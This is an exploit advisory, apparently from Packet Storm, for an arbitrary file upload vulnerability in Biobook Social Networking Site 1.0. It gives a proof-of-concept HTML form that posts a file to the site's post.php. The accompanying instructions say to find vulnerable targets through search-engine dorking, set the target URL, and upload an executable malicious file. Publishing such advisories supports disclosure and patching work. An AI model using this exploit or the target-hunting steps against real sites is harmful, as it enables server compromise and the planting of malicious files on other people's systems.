Biobook Social Networking Site 1.0 Arbitrary File Upload
2024-8-20 22:48:12 Author: packetstormsecurity.com(查看原文) 阅读量:0 收藏
Biobook Social Networking Site 1.0 Arbitrary File Upload
Posted Aug 20, 2024
Authored by indoushka

Biobook Social Networking Site version 1.0 suffers from an arbitrary file upload vulnerability.

tags | exploit, arbitrary, file upload
SHA-256 | eea7a63452086fbc6b26395926afd32c8db7ed26cb64e63041d07be948f52e93
Download | Favorite | View
=============================================================================================================================================
| # Title     : biobook Social Networking Site 1.0 Remote File Upload Vulnerability                                                         |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/janobe/Social%20Networking%20Site%20in%20PHP%20with%20Full%20Source%20Code.zip                                       |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] The following html code uploads a executable malicious file remotely .
[+] Go to the line 7.
[+] Set the target site link Save changes and apply . 
[+] save code as poc.html .
<div id="right-nav">
      <h1>Update Status</h1>
  <div>
      <form method="post" action="http://127.0.0.1/social/post.php" enctype="multipart/form-data">
        <textarea placeholder="Whats on your mind?" name="content" class="post-text" required=""></textarea>
        <input type="file" name="image">
        <button class="btn-share" name="Submit" value="Log out">Share</button>
      </form>
  </div>
      </div>
    [+] http://127.0.0.1/social/upload/
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================

File Tags

Systems


文章来源: https://packetstormsecurity.com/files/180253/bsns10-upload.txt
如有侵权请联系:admin#unsafe.sh